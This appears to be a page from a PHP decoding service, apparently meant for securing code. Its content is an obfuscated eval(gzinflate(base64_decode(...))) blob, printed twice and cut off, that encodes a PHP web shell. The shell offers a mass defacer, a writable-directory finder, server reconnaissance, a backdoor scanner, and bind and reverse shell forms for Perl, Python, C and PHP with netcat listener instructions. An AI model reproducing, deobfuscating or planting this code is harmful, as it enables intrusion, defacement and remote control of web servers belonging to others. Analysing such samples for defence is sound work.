Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? eval(gzinflate(base64_decode('IHN0eWxlPSdib3JkZXItYm90dG9tOnRoaW4gZGFzaGVkICNmMDA7Jz4iL..

Decoded Output download

<? eval(gzinflate(base64_decode('IHN0eWxlPSdib3JkZXItYm90dG9tOnRoaW4gZGFzaGVkICNmMDA7Jz4iLmh0bWxzcGVjaWFsY2hhcnMoJGRhdFskbl0pLiI8L3RkPiI7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJHIuPSI8L3RyPiI7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRyLj0iPC90YWJsZT4iOw0KICAgICAgICAgICAgfSBlbHNlICRyLj0iPGNlbnRlcj4iLiRyZS4iPGJyIC8+RXJyb3IgYnJvLCBQZXJpa3NhIHF1ZXJ5IGVudGUiOw0KICAgICAgICB9ZWxzZSAkci49IjxjZW50ZXI+SXNpIFF1ZXJ5IG55YSBicm88L2NlbnRlcj4iOw0KICAgICAgICANCiAgICAgICAgfQ0KICAgICAgICAkci49JHRoaXMtPnNxbGNvbW1hbmQoKTsNCiAgICAgICAgJHIuPSI8L2Rpdj4iOw0KICAgICAgICByZXR1cm4gJHI7DQogICAgfQ0KDQogICAgLy9jb252ZXJ0ZXIgZm9ybQ0KICAgIGZ1bmN0aW9uIGNvbnZlcnRlcigpDQogICAgew0KICAgICAgICAkcj0nJzsNCiAgICAgICAgJHIuPSI8ZGl2IGlkPSdpc2knPiI7DQogICAgICAgICRvcHQ9YXJyYXkoIk1ENSI9PiJtZDUiLCJIZXgiPT4iaGV4YSIsIkJhc2U2NCBFbmNvZGVyIj0+IjY0ZW4iLCJCYXNlNjQgRGVjb2RlciI9PiI2NGRlIiwiU0hBMSI9PiJzaGExIiwiVVJMIEVuY29kZXIiPT4idXJsZW4iLCJVUkwgRGVjb2RlciI9PiJ1cmxkZSIpOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ3N1Ym1pdCddKSYmIWVtcHR5KCRfUE9TVFsnY29udmVydCddKSkNCiAgICAgICAgew0KICAgICAgICAgICAgJHZhbD0kdGhpcy0+Y29udmVydCgkX1BPU1RbJ2lzaSddKTsNCiAgICAgICAgICAgICRyLj0iPHRleHRhcmVhID4kdmFsPC90ZXh0YXJlYT4iOw0KICAgICAgICB9DQogICAgICAgICRpc2k9IjxjZW50ZXI+PGZvcm0gbWV0aG9kPSdwb3N0JyBhY3Rpb249Jz9hY3Q9ZW5jb2RlJz48dGV4dGFyZWEgc3R5bGU9J3dpZHRoOjUwJTtoZWlnaHQ6MTAwcHg7Ym9yZGVyOjFweCBzb2xpZCAjZjAwOycgbmFtZT0nY29udmVydCcgPjwvdGV4dGFyZWE+PGJyIC8+PHNlbGVjdCBuYW1lPSdpc2knIGlkPSdib3gnPiI7DQogICAgICAgICAgICBmb3JlYWNoICgkb3B0IGFzICRrPT4kdikgew0KICAgICAgICAgICAgICAgICRpc2kuPSI8b3B0aW9uIHZhbHVlPSR2PiIuJGsuIjwvb3B0aW9uPiI7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkci49JGlzaS4iPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyBzdHlsZT0nY29sb3I6I2ZmZicgaWQ9J2J1dCcgdmFsdWU9J0NvbnZlcnQnPjwvZm9ybT48L2NlbnRlcj48L2Rpdj4iOw0KICAgICAgICAgICAgcmV0dXJuICRyOw0KICAgIH0NCiAgICAvL2Rpc3BsYXkgdmFsdWFibGUgaW5mbyBvbiBzZXJ2ZXIgDQogICAgZnVuY3Rpb24gaW5mb3NlcigpDQogICAgew0KICAgICAgICAkcj0iPGRpdiBpZD0naXNpJz48dGFibGUgc3R5bGU9J2ZvbnQtc2l6ZToxMnB4Oyc+IjsNCiAgICAgICAgJHIuPSI8dHI+PHRkPkRpc2FibGUgRnVuY3Rpb24gPC90ZD48dGQ+OiAiLihpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpP2luaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk6IkFsbCBGdW5jdGlvbiBFbmFibGUiKS4iPC90ZD48L3RyPiI7Ow0KICAgICAgICAkci49Ijx0cj48dGQ+U2FmZSBNb2RlIDwvdGQ+PHRkPjogIi4oaW5pX2dldCgnc2FmZV9tb2RlJyk/Ik9uIjoiT2ZmIikuIjwvdGQ+PC90cj4iOw0KICAgICAgICAkci49Ijx0cj48dGQ+T3BlbiBCYXNlIERpciA8L3RkPjx0ZD46ICIuaW5pX2dldCgnb3BlbmJhc2VfZGlyJykuIjwvdGQ+PC90cj4iOw0KICAgICAgICAkci49Ijx0cj48dGQ+UGhwIHZlcnNpb24gPC90ZD48dGQ+OiAiLnBocHZlcnNpb24oKS4iPC90ZD48L3RyPiI7DQogICAgICAgICRyLj0iPHRyPjx0ZD5SZWdpc3RlciBHbG9iYWwgPC90ZD48dGQ+OiAiLihpbmlfZ2V0KCdyZWdpc3Rlcl9nbG9iYWwnKT8nRW5hYmxlJzonRGlzYWJsZScpLiI8L3RkPjwvdHI+IjsNCiAgICAgICAgJHIuPSI8dHI+PHRkPkN1cmwgPC90ZD48dGQ+OiAiLihleHRlbnNpb25fbG9hZGVkKCdjdXJsJyk/J0VuYWJsZSc6J0Rpc2FibGUnKS4iPC90ZD48L3RyPiI7DQogICAgICAgICRyLj0iPHRyPjx0ZD5EYXRhYmFzZSBNeXNxbCA8L3RkPjx0ZD46ICIuKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfY29ubmVjdCcpPydPbic6J09mZicpLiI8L3RkPjwvdHI+IjsNCiAgICAgICAgJHIuPSI8dHI+PHRkPk1hZ2ljIFF1b3RlcyA8L3RkPjx0ZD46ICIuKGluaV9nZXQoJ01hZ2ljX1F1b3RlcycpPydPbic6J09mZicpLiI8L3RkPjwvdHI+IjsNCiAgICAgICAgJHIuPSI8dHI+PHRkPlJlbW90ZSBJbmNsdWRlIDwvdGQ+PHRkPjogIi4oaW5pX2dldCgnYWxsb3dfdXJsX2luY2x1ZGUnKT8nRW5hYmxlJzonRGlzYWJsZScpLiI8L3RkPjwvdHI+IjsNCiAgICAgICAgJHIuPSI8dHI+PHRkPkRpc2sgRnJlZSBTcGFjZSA8L3RkPjx0ZD46ICIuJHRoaXMtPmdldFNpemUoZGlza2ZyZWVzcGFjZSgkdGhpcy0+ZGlyKCkpKS4iPC90ZD48L3RyPiI7DQogICAgICAgICRyLj0iPHRyPjx0ZD5Ub3RhbCBEaXNrIFNwYWNlIDwvdGQ+PHRkPjogIi4kdGhpcy0+Z2V0U2l6ZShkaXNrX3RvdGFsX3NwYWNlKCR0aGlzLT5kaXIoKSkpLiI8L3RkPjwvdHI+IjsNCiAgICAgICAgJHIuPSI8L3RhYmxlPjwvZGl2PiI7DQogICAgICAgIHJldHVybiAkcjsNCiAgICB9DQogICAgICAgIC8vZGlzcGxheSBhdmFpbGFibGUgZHJpdmUgb24gd2luYm94IA0KICAgIGZ1bmN0aW9uIGRyaXZlKCkNCiAgICB7DQogICAgICAgIGZvcmVhY2ggKHJhbmdlKCJBIiwgIloiKSBhcyAkdmFsKSB7DQogICAgICAgIGlmKGlzX2RpcigkdmFsLiI6Ii5ESVJFQ1RPUllfU0VQQVJBVE9SKSkNCiAgICAgICAgew0KICAgICAgICAgICAgDQogICAgICAgICAgICAkYWQ9JHZhbC4iOiIuRElSRUNUT1JZX1NFUEFSQVRPUjsNCiAgICAgICAgICAgICRyPSRyLj0iPGEgaHJlZj0nP2FjdD1maWxlJmRpcj0kYWQnPiR2YWw6Ii5ESVJFQ1RPUllfU0VQQVJBVE9SLiI8L2E+ICI7DQogICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgcmV0dXJuICRyOw0KICAgIH0NCiAgICAvL2ZpbmQgd3JpdGFibGUgZGlyZWN0b3J5DQogICAgZnVuY3Rpb24gc2NkaXIoJGRpcikNCiAgICB7DQogICAgICAgICRyPScnOw0KICAgICAgICAkZG5hbWU9YXJyYXkoKTsNCiAgICAgICAgaWYoJGRoPW9wZW5kaXIoJGRpcikpDQogICAgICAgIHsNCiAgICAgICAgICAgIHdoaWxlIChmYWxzZSAhPT0oJG5hbWU9cmVhZGRpcigkZGgpKSkgew0KICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgaWYoJG5hbWUgIT0nLicmJiRuYW1lIT0nLi4nKQ0KICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRuYW1lKSYmaXNfd3JpdGFibGUoJG5hbWUpKQ0KICAgICAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICRkbmFtZVtdPSRuYW1lOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICB9DQogICAgICAgICAgICBjbG9zZWRpcigkZGgpOw0KICAgICAgICB9DQogICAgICAgIGlmKCRkbmFtZSkNCiAgICAgICAgew0KICAgICAgICAgICAgZm9yZWFjaCAoJGRuYW1lIGFzICR2YWwpIHsNCiAgICAgICAgICAgICRyLj0iPGEgaHJlZj0nP2FjdD1maWxlJmRpcj0iLiRkaXIuJHZhbC5ESVJFQ1RPUllfU0VQQVJBVE9SLiInPiIuJGRpci4kdmFsLiI8L2E+PGhyIHN0eWxlPSdib3JkZXI6dGhpbiBzb2xpZCAjMmUyZTJlJyAvPiI7DQogICAgICAgIH0NCiAgICAgICAgfSBlbHNlICRyLj0iTm90IEZvdW5kIjsNCiAgICAgICAgDQogICAgICAgIA0KICAgICAgICAgICAgcmV0dXJuICRyOw0KICAgIH0NCiAgICAvL3dyaXRhYmxlIHNjYW5uZXIgZm9ybQ0KICAgIGZ1bmN0aW9uIHdyaXRhYmxlKCkNCiAgICB7DQogICAgICAgICRyPSI8ZGl2IGlkPSdpc2knPiI7DQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnZmluZGRpciddKSYmaXNzZXQoJF9QT1NUWydzdWJtaXQnXSkpDQogICAgICAgIHsNCiAgICAgICAgICAgICRyLj0kdGhpcy0+c2NkaXIoJF9QT1NUWydmaW5kZGlyJ10pOw0KICAgICAgICAgICAgDQogICAgICAgIH0gLy9lbHNlIHsNCiAgICAgICAgICAgICRyLj0iPGNlbnRlcj5DYXJpIHNlbXVhIGRpcmVjdG9yeSB5YW5nIHdyaXRlYWJsZSA8YnIgLz48Zm9ybSBtZXRob2Q9J3Bvc3QnIGFjdGlvbj0nP2FjdD13cml0ZSZkaXI9Ii4kdGhpcy0+ZGlyKCkuIic+Ii4kdGhpcy0+Y3VycmVudCgnd3JpdGUnKS4iPGJyIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZmluZGRpcicgaWQ9J2JveCcgdmFsdWU9JyIuJHRoaXMtPmRpcigpLiInPjxpbnB1dCBpZD0nYnV0JyB0eXBlPSdzdWJtaXQnIHN0eWxlPSdtYXJnaW4tdG9wOjVweDtjb2xvcjojZmZmJyAgbmFtZT0nc3VibWl0JyB2YWx1ZT0nQ2FyaSc+PC9jZW50ZXI+PGZvcm0+IjsNCiAgICAgICAgLy99DQogICAgICAgICRyLj0iPC9kaXY+IjsNCiAgICAgICAgcmV0dXJuICRyOw0KICAgIH0NCiAgICANCiAgICAvL21hc3MgZGVmYWNlciANCiAgICBmdW5jdGlvbiBtYXNzKCkNCiAgICB7DQogICAgICAgICAgICAkcj0iPGRpdiBpZD0naXNpJz4iOw0KICAgICAgICBpZihpc3NldCgkX1BPU1RbJ2RlZiddKSYmaXNzZXQoJF9QT1NUWydmbmFtZSddKSYmaXNzZXQoJF9QT1NUWydpc2lueWEnXSkpDQogICAgICAgIHsNCiAgICAgICAgICAgICRyLj0kdGhpcy0+ZGVmYWNlKCRfUE9TVFsnYWRkciddLCRfUE9TVFsnZm5hbWUnXSwkX1BPU1RbJ2lzaW55YSddKTsNCiAgICAgICAgICAgICRyLj0kdGhpcy0+c2NkaXIoJF9QT1NUWydhZGRyJ10pOw0KICAgICAgICB9DQogICAgICAgIGVsc2Ugew0KICAgICAgICAgICAgJHIuPSI8Y2VudGVyPjxmb3JtIG1ldGhvZD0ncG9zdCcgYWN0aW9uPSc/YWN0PW1kJmRpcj0iLiR0aGlzLT5kaXIoKS4iJz5NYXNzIERlZmFjZXIgPGJyIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgc3R5bGU9J3dpZHRoOjUwMHB4OycgbmFtZT0nYWRkcicgaWQ9J2JveCcgdmFsdWU9JyIuJHRoaXMtPmRpcigpLiInPiIuJHRoaXMtPmN1cnJlbnQoJ21kJykuIjxiciAvPk5hbWEgRmlsZSA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZm5hbWUnIHZhbHVlPSdoYWNrZWQuaHRtbCcgc3R5bGU9J21hcmdpbjo3cHggMDsnIGlkPSdib3gnPjxiciAvPg0KICAgICAgICA8dGV4dGFyZWEgbmFtZT0naXNpbnlhJyBzdHlsZT0nYm9yZGVyOjFweCBzb2xpZCAjZjAwOyc+PGgxPmhhY2tlZDwvaDE+PC90ZXh0YXJlYT48YnIgLz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdkZWYnIGlkPSdidXQnIHZhbHVlPSdEZWZhY2UnPjwvZm9ybT48L2NlbnRlcj4iOw0KICAgICAgICAkci49IjwvZGl2PiI7DQogICAgICAgIH0NCiAgICAgICAgDQogICAgICAgIHJldHVybiAkcjsNCiAgICB9DQogICAgLy9tYXNzIGRlZmFjZXIgZnVuY3QNCiAgICBmdW5jdGlvbiBkZWZhY2UoJGFsLCRmbmFtZSwkc291cmNlKQ0KICAgIHsNCiAgICAgICAgJGRuYW1lPWFycmF5KCk7DQogICAgICAgICRhbD0kdGhpcy0+cmVwbGFjZSgkYWwpOw0KICAgICAgICBpZigkZGg9b3BlbmRpcigkdGhpcy0+cmVwbGFjZSgkYWwpKSkNCiAgICAgICAgew0KICAgICAgICAgICAgd2hpbGUgKGZhbHNlICE9PSgkbmFtZT1yZWFkZGlyKCRkaCkpKSB7DQogICAgICAgICAgICANCiAgICAgICAgICAgICAgICBpZigkbmFtZSAhPScuJyYmJG5hbWUhPScuLicmJmlzX2RpcigkbmFtZSkpDQogICAgICAgICAgICAgICAgew0KICAgICAgICAgICAgICAgICAgICBpZihpc193cml0YWJsZSgkbmFtZSkpDQogICAgICAgICAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRkbmFtZVtdPSRuYW1lOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICB9DQogICAgICAgICAgICBjbG9zZWRpcigkZGgpOw0KICAgICAgICB9DQogICAgICAgIGlmKCRkbmFtZSkNCiAgICAgICAgew0KICAgICAgICAgICAgJHIuPSJNYXNzIERlZmFjZSBTdWNjZXNzIGJybyA8YnIgLz4iOw0KICAgICAgICAgICAgZm9yZWFjaCAoJGRuYW1lIGFzICR2YWwpIHsNCiAgICAgICAgICAgICAgICBpZigkZnA9Zm9wZW4oJGFsLiR2YWwuIi8iLiRmbmFtZSwidyIpKQ0KICAgICAgICAgICAgZndyaXRlKCRmcCwgJHNvdXJjZSk7DQogICAgICAgICAgICBmY2xvc2UoJGZwKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgIA0KICAgICAgICAgICAgDQogICAgICAgIH0NCiAgICAgICAgZWxzZSAkci49ImZhaWxlZCI7DQogICAgICAgIHJldHVybiAkcjsNCiAgICB9DQogICAgLy9iYWNrZG9vciBmdW5jdGlvbiANCiAgICBmdW5jdGlvbiBiZGYoJGRpcikNCiAgICB7DQogICAgICAgIA0KICAgICAgICAkcj0nJzsNCiAgICAgICAgJGhhcz0kX1BPU1RbJ2J1ZyddOw0KICAgICAgICBpZigkZmlsZXMgPSBAc2NhbmRpcigkZGlyKSkgew0KICAgICAgICAgICAgZm9yZWFjaCgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgICAgICBpZigkZmlsZSAhPSAnLicgJiYgJGZpbGUgIT0gJy4uJyYmICRmaWxlICE9J2NnaS1iaW4nKSB7DQogICAgICAgICAgICAgICAgaWYoQGlzX2RpcigkZGlyLiRzbGFzaC4kZmlsZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJHIuPSR0aGlzLT5iZGYoJGRpci4kZmlsZS5ESVJFQ1RPUllfU0VQQVJBVE9SKTsNCiAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAkb3AgPSBAZmlsZV9nZXRfY29udGVudHMoJGRpci5ESVJFQ1RPUllfU0VQQVJBVE9SLiRmaWxlKTsNCiAgICAgICAgICAgICAgICAgICAgaWYoJG9wKQ0KICAgICAgICAgICAgICAgICAgICAgICAgZm9yZWFjaCgkaGFzIGFzICRidWcpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZihAcHJlZ19tYXRjaCgiLyRidWdcKCguKj8pXCkvIiwgJG9wKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkci49Ijx0cj48dGQ+Q29udGFpbiAnJGJ1ZycgYXQgIi4kZGlyLiRmaWxlLiI8L3RkPjx0ZD4iLmRhdGUoImQtTS1ZIEg6aSIsZmlsZW10aW1lKCRkaXIuJGZpbGUpKS4iPC90ZD48L3RyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICByZXR1cm4gJHI7DQogICAgICAgIH0NCiAgICAvL2JhY2tkb29yIHNjYW5uZXIgZm9ybSANCiAgICBmdW5jdGlvbiBkb29yc2NhbigpDQogICAgew0KICAgICAgICAkdGhpcy0+ZmluZCA9IGFycmF5KCdiYXNlNjRfZGVjb2RlJywnc3lzdGVtJywncGFzc3RocnUnLCdwb3BlbicsJ2V4ZWMnLCdzaGVsbF9leGVjJywnZXZhbCcsJ21vdmVfdXBsb2FkZWRfZmlsZScsJ2NvcHknLCdwY250bF9leGVjJywnZXNjYXBlc2hlbGxhcmcnLCdlc2NhcGVzaGVsbGNtZCcsJ3Byb2Nfb3BlbicsJ3Byb2NfZ2V0X3N0YXR1cycsJ3Byb2NfbmljZScsJ3Byb2Nfb3BlbicsJ3Byb2NfdGVybWluYXRlJyk7DQogICAgICAgICRyPSI8ZGl2IGlkPSdpc2knPiI7DQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pJiZpc3NldCgkX1BPU1RbJ2J1ZyddKSkNCiAgICAgICAgeyAgICAkci49Ijx0YWJsZSB3aWR0aD0nMTAwJScnIGNsYXNzPSd4cGx0YWInPjx0cj48dGg+TXVuZ2tpbiBpbmkgRmlsZSBCYWNrRG9vcjwvdGg+PHRoPkxhc3QgTW9kaWZpZWQ8L3RoPjwvdHI+IjsNCiAgICAgICAgICAgICRyLj0kdGhpcy0+YmRmKCRfUE9TVFsnZGlyJ10pOw0KICAgICAgICAgICAgJHIuPSI8L3RhYmxlPiI7DQogICAgICAgIH0NCiAgICAgICAgZWxzZSB7DQogICAgICAgIA0KICAgICAgICAgICAgJHIuPSI8Y2VudGVyPjxmb3JtIG1ldGhvZD0ncG9zdCcgYWN0aW9uPSc/YWN0PWJkcyZkaXI9Ii4kdGhpcy0+ZGlyKCkuIic+RW50ZSBueWFyaSBkaSA6IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RpcicgdmFsdWU9JyIuJHRoaXMtPmRpcigpLiInPiIuJHRoaXMtPmN1cnJlbnQoJ2JkcycpLiI8YnIgLz5UeXBlIFBlbmNhcmlhbiA6IDwvY2VudGVyPiI7DQpmb3JlYWNoICgkdGhpcy0+ZmluZCBhcyAkdmFsKSB7DQogICAgICAgICAgICAkci49IjxpbnB1dCBzdHlsZT0nbWFyZ2luLWxlZnQ6NDMlO21hcmdpbi10b3A6N3B4OycgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2J1Z1tdJyB2YWx1ZT0nIi4kdmFsLiInPiIuJHZhbC4iPGJyIC8+IjsNCiAgICAgICAgfQ0KICAgICAgICAgICAgJHIuPSI8Y2VudGVyPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J3N1Ym1pdCcgaWQ9J2J1dCcgc3R5bGU9J21hcmdpbi10b3A6MTBweDt3aWR0aDoxNTBweDtjb2xvcjojZmZmJyB2YWx1ZT0nQ2FyaSBCYWNrRG9vcic+PC9mb3JtPiI7DQogICAgICAgICAgICAkci49IjwvY2VudGVyPiI7DQogICAgICAgIH0NCiAgICAgICAgJHIuPSI8L2Rpdj4iOw0KICAgICAgICANCiAgICAgICAgDQogICAgICAgIHJldHVybiAkcjsNCiAgICB9DQoNCiAgICBmdW5jdGlvbiBuZXdtYXNzKCRkaXIsJGZpbGUsJHNvdXJjZSkNCiAgICB7DQogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnZGlyJ10pJiZpc3NldCgkX1BPU1RbJ2ZpbGUnXSkmJmlzc2V0KCRfUE9TVFsnc291cmNlJ10pKQ0KICAgICAgICB7DQogICAgICAgICAgICANCiAgICAgICAgfQ0KICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICRyLj0iPGNlbnRlcj48Zm9ybSBtZXRob2Q9J3Bvc3QnIGFjdGlvbj0nP2FjdD1tZCZkaXI9Ii4kdGhpcy0+ZGlyKCkuIic+TWFzcyBEZWZhY2VyIDxiciAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIHN0eWxlPSd3aWR0aDo1MDBweDsnIG5hbWU9J2FkZHInIGlkPSdib3gnIHZhbHVlPSciLiR0aGlzLT5kaXIoKS4iJz4iLiR0aGlzLT5jdXJyZW50KCdtZCcpLiI8YnIgLz5OYW1hIEZpbGUgPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J2ZuYW1lJyB2YWx1ZT0naW5kZXgucGhwJyBzdHlsZT0nbWFyZ2luOjdweCAwOycgaWQ9J2JveCc+PGJyIC8+DQogICAgICAgIDx0ZXh0YXJlYSBuYW1lPSdpc2lueWEnIHN0eWxlPSdib3JkZXI6MXB4IHNvbGlkICNmMDA7Jz48aDE+SGFja2VkIEJ5PC9oMT48L3RleHRhcmVhPjxiciAvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J2RlZicgaWQ9J2J1dCcgdmFsdWU9J0RlZmFjZSc+PC9mb3JtPjwvY2VudGVyPiI7DQogICAgICAgICRyLj0iPC9kaXY+IjsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBmdW5jdGlvbiBkb29yKCkNCiAgICB7DQogICAgICAgICR0aGlzLT5pcD1nZXRob3N0YnluYW1lKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7DQogICAgICAgICRyPSIiOw0KICAgICAgICAkZnJtPSI8Zm9ybSBtZXRob2Q9J3Bvc3QnIGFjdGlvbj0nP2FjdD1iYyc+IjsNCiAgICAgICAgJGhkPSI8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhY3Rpb24nIHZhbHVlPSdiYyc+IjsNCiAgICAgICAgJG1zPSJUZWthbiBUb21ib2wgQ29ubmVjdCBkYW4gamFsYW5rYW4gbmMgcGFkYSBrb21wdXRlciBlbnRlIC0+IG5jICIuJHRoaXMtPmlwLiIgNjY2IjsNCiAgICAgICAgJG1zMj0iSmFsYW5rYW4gbmMgcGFkYSBrb21wdXRlciBlbnRlIC0+IG5jIC1sbnZwIDY2NiBsYWx1IGVudGUga2xpayB0b21ib2wgQ29ubmVjdCI7DQogICAgICAgICAgICAvL0JpbmQgUGVybA0KICAgICAgICAkci49Ijx0YWJsZSBib3JkZXI9JzAnIHdpZHRoPScxMDAlJyBjbGFzcz0neHBsdGFiJz48dHI+PHRoPkJpbmQgU2hlbGw8L3RoPjx0aD5NZW1iYWxpa2thbiBTaGVsbDwvdGg+PC90cj4NCiAgICAgICAgICAgIDx0cj48dGQgPjxzcGFuIGNsYXNzPSdnZWRlJz5QZXJsPC9zcGFuPiA8YnIgLz4kZnJtPGlucHV0IHR5cGU9J2hpZGRlbicgdmFsdWU9JyIuJHRoaXMtPmlwLiInIG5hbWU9J2lwJyBpZD0nYm94Jz48YnIgLz5Qb3J0IDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSc2NjYnIGlkPSdib3gnIC8+JGhkPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nR28nIHZhbHVlPSdjb25uZWN0JyBpZD0nYnV0Jz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhY3Rpb24nIHZhbHVlPSdicGVybCc+PC9mb3JtPjxwPiRtczwvdGQ+IjsNCiAgICAgICAgICAgICAvL3JldmVyc2UgcGVybA0KICAgICAgICAgICAgICRyLj0iPHRkICBzdHlsZT0nYm9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjZjAwJz48c3BhbiBjbGFzcz0nZ2VkZSc+UGVybCA8L3NwYW4+PGJyIC8+SVAgZW50ZSA8aW5wdXQgdHlwZT0ndGV4dCcgdmFsdWU9JyIuJHRoaXMtPmlwLiInIG5hbWU9J2JjcGVybGlwJyBpZD0nYm94Jz48YnIgLz5Qb3J0IDogPGlucHV0IHR5cGU9J3RleHQnIG5hbWU9J3BvcnQnIHZhbHVlPSc2NjYnIGlkPSdib3gnIHN0eWxlPSdtYXJnaW4tdG9wOjVweDttYXJnaW4tbGVmdDoxN3B4OycvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J0dvJyB2YWx1ZT0nY29ubmVjdCcgaWQ9J2J1dCc+PHA+JG1zMjwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgLy9iaW5kIHB5dGhvbiANCiAgICAgICAgICAgICAkci49Ijx0cj48dGQ+PHNwYW4gY2xhc3M9J2dlZGUnPlB5dGhvbjwvc3Bhbj4gPGJyIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgdmFsdWU9JyIuJHRoaXMtPmlwLiInIG5hbWU9J2JjcGVybCcgaWQ9J2JveCc+PGJyIC8+UG9ydCA6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nNjY2JyBpZD0nYm94JyAvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J0dvJyB2YWx1ZT0nY29ubmVjdCcgaWQ9J2J1dCc+DQogICAgICAgICAgICA8cD4kbXM8L3RkPg0KICAgICAgICAgICAgIjsNCiAgICAgICAgICAgIC8vcmV2ZXJzZSBweXRob24NCiAgICAgICAgICAgICRyLj0iPHRkIHN0eWxlPSdib3JkZXItcmlnaHQ6MXB4IHNvbGlkICNmMDAnPjxzcGFuIGNsYXNzPSdnZWRlJz5QeXRob248L3NwYW4+IDxiciAvPklQIGVudGU8aW5wdXQgdHlwZT0ndGV4dCcgdmFsdWU9JyIuJHRoaXMtPmlwLiInIG5hbWU9J2JjcGVybCcgaWQ9J2JveCc+PGJyIC8+UG9ydCA6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nNjY2JyBpZD0nYm94JyBzdHlsZT0nbWFyZ2luLXRvcDo1cHg7bWFyZ2luLWxlZnQ6MTNweDsnLz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdHbycgdmFsdWU9J2Nvbm5lY3QnIGlkPSdidXQnPjxwPiRtczI8L3RkPjwvdHI+PHRyPiI7DQogICAgICAgICAgICAvL0JpbmQgQw0KICAgICAgICAgICAgJHIuPSI8dGQ+PHNwYW4gY2xhc3M9J2dlZGUnPkJpbjwvc3Bhbj4gPGJyIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgdmFsdWU9JyIuJHRoaXMtPmlwLiInIG5hbWU9J2JjcGVybCcgaWQ9J2JveCc+PGJyIC8+UG9ydCA6IDxpbnB1dCB0eXBlPSd0ZXh0JyBuYW1lPSdwb3J0JyB2YWx1ZT0nNjY2JyBpZD0nYm94JyAvPjxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J0dvJyB2YWx1ZT0nY29ubmVjdCcgaWQ9J2J1dCc+DQogICAgICAgICAgICA8cD4kbXM8L3RkPiI7DQogICAgICAgICAgICAvL1JldmVyc2UgUEhQDQogICAgICAgICAgICAkci49Ijx0ZCBzdHlsZT0nYm9yZGVyLXJpZ2h0OjFweCBzb2xpZCAjZjAwJz48c3BhbiBjbGFzcz0nZ2VkZSc+UGhwPC9zcGFuPiA8YnIgLz5JUCBlbnRlPGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSciLiR0aGlzLT5pcC4iJyBuYW1lPSdiY3BlcmwnIGlkPSdib3gnPjxiciAvPlBvcnQgOiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0ncG9ydCcgdmFsdWU9JzY2NicgaWQ9J2JveCcgc3R5bGU9J21hcmdpbi10b3A6NXB4O21hcmdpbi1sZWZ0OjEzcHg7Jy8+PGlucHV0IHR5cGU9J3N1Ym1pdCcgb